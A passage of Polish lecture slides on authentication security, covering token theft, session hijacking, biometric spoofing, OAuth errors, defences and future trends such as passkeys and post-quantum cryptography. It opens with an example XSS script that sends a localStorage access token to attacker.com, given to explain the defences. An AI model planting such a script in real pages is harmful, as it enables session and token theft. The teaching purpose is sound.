Atak XSS:

```
// Napastnik wstrzykuje skrypt przez XSS
<script>
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: localStorage.getItem('access_token')
  });
</script>
```

Obrona:

- **Nie przechowuj tokenów w localStorage** (dostępne dla JS).
- Używaj **HttpOnly cookies** – niedostępne dla JavaScript.
- Implementuj **Content Security Policy (CSP)**.
- Sanityzacja inputów – zapobiegaj XSS.

Token Theft – Refresh Token Rotation

Problem:

Jeśli Refresh Token wycieknie, napastnik może uzyskać dostęp na długi czas.

Rozwiązanie: Refresh Token Rotation

Każde użycie Refresh Token generuje **nowy Refresh Token**, a stary staje się nieważny.

Przepływ:

1. `Client → Auth Server: Refresh Token (RT1)`
2. `Auth Server → Client: New Access Token + New Refresh Token (RT2)`
3. `RT1 jest teraz nieważny`
4. `Jeśli napastnik użyje RT1 → Auth Server wykrywa nadużycie`
5. `Auth Server unieważnia całą sesję (wszystkie tokeny)`

> **i** Adnotacja
>
> **Refresh Token Rotation** jest zalecane przez OAuth 2.1 (draft).

Session Hijacking – Cookie Theft

Atak:

Napastnik przechwytuje cookie sesyjne (np. przez MITM, XSS).
Obrona:

Flagi cookie:

- **HttpOnly** – cookie niedostępne dla JavaScript.
- **Secure** – cookie wysyłane tylko przez HTTPS.
- **SameSite=Strict** – cookie nie wysyłane w cross-site requests.

Dodatkowe mechanizmy:

- **Device fingerprinting** – wykrywanie zmiany urządzenia.
- **IP binding** – sesja związana z adresem IP (ostrożnie z mobilnością).
- **Short session lifetime** – częste odświeżanie sesji.

Ataki na biometrię – Presentation Attacks

Rodzaje ataków:

1. **Odciski palców:**
   - Odtworzenie z fotografii wysokiej rozdzielczości.
   - Fałszywe odciski (żel, silikona).
2. **Rozpoznawanie twarzy:**
   - Zdjęcie ofiary.
   - Maska 3D (trudniejsze, ale możliwe).
   - Deepfake wideo (synteza AI).
3. **Głos:**
   - Nagranie głosu.
   - Synteza głosu AI (coraz bardziej przekonująca).

Ataki na biometrię – obrona

Liveness Detection

Wykrywanie, czy biometria pochodzi od **żywej osoby**.

Metody:

- **Analiza tekstury skóry** – wykrywanie fałszywych odcisków.
- **Wykrywanie głębi 3D** – Face ID (Apple) używa projektora IR.
- **Challenge-response** – użytkownik wykonuje losowe ruchy (mrugaj, obróć głowę).
- **Analiza przepływu krwi** – wykrywanie pulsacji w twarzy.

! Ważne

Najlepsza praktyka: Biometria jako **jeden z czynników MFA**, nie jedyny.

OAuth/OIDC – typowe błędy implementacji

Open Redirect:

Brak walidacji `redirect_uri` → napastnik przekierowuje token do swojej domeny.
Obrona: Whitelist dozwolonych `redirect_uri`.

Authorization Code Injection:

Napastnik wstrzykuje własny Authorization Code do sesji ofiary.
Obrona: Używaj `state` parameter (CSRF protection).

Token Leakage w URL:

Implicit Flow (deprecated) zwraca token w URL → historia przeglądarki, logi.
Obrona: Używaj Authorization Code Flow, nigdy Implicit.

Praktyczne strategie obrony

Dla użytkowników:

- Włącz MFA wszędzie (preferuj FIDO2/YubiKey).
- Sprawdzaj URL przed logowaniem.
- Nie klikaj “Akceptuj” na niezamówione powiadomienia MFA.
- Używaj menedżerów haseł (generują unikalne hasła).

Dla deweloperów:

- Implementuj **PKCE** w aplikacjach mobilnych/SPA.
- Używaj **HttpOnly, Secure, SameSite cookies**.
- Krótkie **Access Tokens** (minuty), bezpieczne **Refresh Tokens**.
- Loguj i monitoruj **nietypowe aktywności** (nowa lokalizacja, urządzenie).

Praktyczne strategie obrony

Dla administratorów:

- Wymuś **MFA** dla wszystkich użytkowników (szczególnie adminów).
- Implementuj **Conditional Access** (adaptacyjne uwierzytelnianie).
- Monitoruj **failed login attempts** i automatycznie blokuj konta.
- Regularnie audytuj **access logs** (SIEM, anomaly detection).
- Edukuj użytkowników – **security awareness training**.

i Adnotacja

Defense in Depth: Żadna pojedyncza warstwa nie jest wystarczająca. Łącz wiele mechanizmów obronnych.

Incident Response – co zrobić w razie ataku?

Procedura:

1. **Wykryj** – monitoruj anomalie (SIEM, alerty).
2. **Izoluj** – zablokuj skompromitowane konta, unieważnij tokeny.
3. **Analizuj** – zbadaj, jak doszło do ataku (logi, forensics).
4. **Usuń** – wyeliminuj backdoory, zmień hasła/klucze.
5. **Przywróć** – przywróć dostęp legalnym użytkownikom.
6. **Ucz się** – post-mortem, aktualizuj procedury.

Przykład: Po ataku SIM swapping → wymuś reset wszystkich sesji, włącz TOTP zamiast SMS.

5. Przyszłość uwierzytelniania

Trendy w uwierzytelnianiu

Bezhasłowość (Passwordless)

- Passkeys stają się **standardem** (Apple, Google, Microsoft).
- Przepływ: biometria lokalna → podpis kryptograficzny → brak hasła w chmurze.
- Cel: eliminacja phishingu i credential stuffing.

Biometria behawioralna

- Ciągła analiza: sposób pisania, chód, interakcje z urządzeniem.
- **Invisible MFA** – uwierzytelnianie w tle, bez przerywania użytkownika.

Zero Trust Architecture

- Model: nigdy nie ufaj, zawsze weryfikuj.
- Uwierzytelnianie przy **każdym dostępie do zasobu** (nie tylko przy logowaniu).

AI i Machine Learning w uwierzytelnianiu

Zastosowania AI:

1. **Wykrywanie anomalii:**
   - Model uczy się normalnego zachowania użytkownika.
   - Wykrywa odchylenia (nowa lokalizacja, urządzenie, nietypowy czas).
2. **Adaptive risk scoring:**
   - AI oblicza ryzyko w czasie rzeczywistym.
   - Automatyczne dostosowanie poziomu uwierzytelniania.
3. **Obrona przed botami:**
   - Analiza wzorców interakcji (reCAPTCHA v3, hCaptcha).
   - Behavioral CAPTCHA – wykrywanie automatów bez testów dla użytkownika.

AI i Machine Learning – zagrożenia

Deepfakes i synteza:

- **Synteza głosu** – generowanie głosu ofiary (atak na voice biometrics).
- **Deepfake wideo** – fałszywe wideo do oszukania Face ID.
- **Adversarial attacks** – celowe zakłócenia oszukujące modele ML.

Obrona:

- **Multimodal biometrics** – łączenie kilku cech (głos + twarz + zachowanie).
- **Liveness detection** – wykrywanie rzeczywistej obecności człowieka.
- **Blockchain** – niemutowalne logi uwierzytelnienia (audit trail).

Post-kwantowa kryptografia (Post-Quantum Cryptography)

Problem:

Komputery kwantowe (w przyszłości) złamią **RSA** i **ECC** – fundamenty dzisiejszego PKI i FIDO2.

Zagrożenia:

- **Harvest now, decrypt later** – napastnicy przechowują zaszyfrowane dane dzisiaj, rozszyfrują w przyszłości.
- Certyfikaty X.509, FIDO2, TLS – wszystko oparte na kryptografii asymetrycznej.

> ⚠ Ostrzeżenie
>
> **Timeline:** Duże komputery kwantowe mogą pojawić się za **10-20 lat**. Migracja musi zacząć się **dziś**.

Post-kwantowa kryptografia – rozwiązania

Nowe algorytmy (NIST Post-Quantum Standards, 2024):

- **CRYSTALS-Kyber** – szyfrowanie asymetryczne (key encapsulation).
- **CRYSTALS-Dilithium** – podpisy cyfrowe.
- **SPHINCS+** – podpisy cyfrowe (hash-based).

Wpływ na uwierzytelnianie:

- **FIDO2** będzie musiał przejść na post-kwantowe algorytmy.
- **TLS 1.3** już testuje hybrydowe schematy (klasyczne + post-kwantowe).
- **Certyfikaty X.509** z nowymi algorytmami podpisu.

Decentralizacja tożsamości (Self-Sovereign Identity)

Idea:

Użytkownik **kontroluje własną tożsamość** – nie zależy od centralnych dostawców (Google, Facebook).

Technologie:

- **Decentralized Identifiers (DIDs)** – identyfikatory na blockchainie.
- **Verifiable Credentials (VCs)** – cyfrowe dokumenty (dowód osobisty, dyplom).
- **Blockchain** – publiczny rejestr tożsamości (bez danych osobowych).

Przykład:

Użytkownik ma DID na blockchainie. Urząd wydaje VC (dowód osobisty). Użytkownik może udowodnić wiek w sklepie **bez pokazywania pełnego dowodu**.

Decentralizacja tożsamości – zalety i wyzwania

Zalety:

- **Prywatność** – użytkownik kontroluje, jakie dane udostępnia.
- **Interoperacyjność** – jedna tożsamość dla wielu usług.
- **Odporność** – brak single point of failure (jak obecnie Google/Facebook).

Wyzwania:

- **Utrata klucza prywatnego** – brak mechanizmu odzyskiwania (blockchain jest niemutowalny).
- **Adopcja** – wymaga wsparcia rządów i korporacji.
- **Skalowalność** – blockchain nie skaluje się dobrze.

> **i** Adnotacja
>
> **SSI** jest wciąż w fazie eksperymentalnej. Projekty: Microsoft ION, Sovrin, uPort.

Biometria przyszłości

Nowe modalności:

- **Biometria naczyń krwionośnych** – wzór żył na dłoni (bardzo unikalny).
- **EKG (elektrokardiogram)** – rytm serca (trudny do sfałszowania).
- **Biometria mózgowa** – fale mózgowe (EEG) – ekstremalna unikalność.

Biometria ciągła (Continuous Biometrics):

- Monitorowanie w czasie rzeczywistym: chód, sposób trzymania telefonu.
- Wykrywanie, gdy urządzenie przejmie inna osoba.

Wyzwanie: Prywatność – ciągłe zbieranie danych biometrycznych budzi obawy.

Regulacje i standardy

Wpływ regulacji na przyszłość:

- **RODO (GDPR)** – ochrona danych biometrycznych, zgoda użytkownika.
- **eIDAS 2.0 (EU)** – europejska tożsamość cyfrowa (EU Digital Identity Wallet).
- **NIST SP 800-63** – wytyczne dla uwierzytelniania (USA).
- **FIDO Alliance** – standardy passwordless (Passkeys).

Trend:

Regulacje wymuszają **higher security by default** – MFA, szyfrowanie, audyty.

Przyszłość w pigułce

Trend	Czas adopcji	Wpływ
Passkeys (FIDO2)	1-3 lata	Bardzo wysoki – eliminacja haseł
Zero Trust	3-5 lat	Wysoki – zmiana architektury IT
AI w adaptive auth	2-5 lat	Wysoki – inteligentne uwierzytelnianie
Post-quantum crypto	10-20 lat	Krytyczny – ochrona przed kwantami
Self-Sovereign Identity	10-15 lat	Średni – wciąż eksperymentalny
Biometria behawioralna	3-7 lat	Średni – prywatność vs. bezpieczeń- stwo

6. Podsumowanie

Podsumowanie

Nowoczesne metody:

- **Passwordless (FIDO2, Passkeys)** – eliminacja haseł, odporność na phishing.
- **MFA** – wieloskładnikowe uwierzytelnianie (TOTP, YubiKey, biometria).
- **Continuous & Adaptive** – ciągłe uwierzytelnianie oparte na ryzyku i ML.

Systemy złożone:

- **OAuth 2.0** – autoryzacja, **OIDC** – uwierzytelnianie, **SAML** – enterprise SSO.
- **Mobile** – biometria, secure storage.
- **IoT** – lekkie protokoły, Device Flow.

Podsumowanie

Bezpieczeństwo:

- **Ataki:** MFA fatigue, SIM swapping, phishing proxy (Evilginx), token theft, biometria spoofing.
- **Obrona:** FIDO2, HttpOnly cookies, Refresh Token Rotation, liveness detection, Defense in Depth.

Przyszłość:

- **Trendy:** bezhasłowość, Zero Trust, AI/ML, post-quantum crypto, SSI.
- **Wyzwania:** prywatność, adopcja, skalowalność, regulacje.

Porównanie: klasyczne vs. nowoczesne

Aspekt	Klasyczne (Wykład 1)	Nowoczesne (Wykład 2)
Główna metoda	Hasła, PKI, Kerberos	Passwordless, MFA
Czynniki	Wiedza (hasło)	Wiedza + Posiadanie + Biometria
Phishing	Podatne	Odporne (FIDO2)
Użyteczność	Średnia (zapominanie haseł)	Wysoka (biometria, Passkeys)
Kontekst	Statyczny (login raz)	Dynamiczny (ciągłe uwierzytelnianie)
Adopcja	Powszechna	Rosnąca

Kluczowe wnioski

1. **Hasła są przestarzałe** – ale wciąż dominują. Przejście na passwordless to proces wieloletni.
2. **MFA to minimum** – każdy system krytyczny powinien wymagać co najmniej dwóch czynników.
3. **FIDO2 to przyszłość** – Passkeys eliminują phishing i są wygodne.
4. **AI zmienia zasady gry** – adaptive authentication to standard w nowoczesnych systemach.
5. **Bezpieczeństwo = wiele warstw** – żadna pojedyncza metoda nie jest doskonała.

! Ważne

Najważniejsza lekcja: Uwierzytelnianie to nie jednorazowe zdarzenie, ale **ciągły proces** weryfikacji tożsamości.

Wyzwania do rozwiązania

W najbliższej dekadzie:

1. **Adopcja passwordless** – jak przekonać użytkowników i organizacje?
2. **Prywatność vs. bezpieczeństwo** – jak balansować ciągłe monitorowanie z RODO?
3. **Post-quantum crypto** – migracja systemów przed erą komputerów kwantowych.
4. **Decentralizacja** – czy Self-Sovereign Identity stanie się rzeczywistością?
5. **Edukacja** – użytkownicy muszą rozumieć zagrożenia (phishing, MFA fatigue).

Ostatnie słowo

Uwierzytelnianie to **fundament bezpieczeństwa** współczesnych systemów informatycznych.

- Ewolucja od haseł do biometrii i Passkeys.
- Przejście od statycznego logowania do ciągłej weryfikacji.
- Zastosowanie AI do inteligentnego dostosowania poziomu bezpieczeństwa.

Warto pamiętać:

> *"The best authentication system is one that's **secure, usable, and invisible** to the user."*

Adnotacja

Materiały dodatkowe:

- NIST SP 800-63B (Digital Identity Guidelines)
- FIDO Alliance – standardy passwordless
- OAuth 2.0 RFC 6749, OAuth 2.1 (draft)
- OWASP Authentication Cheat Sheet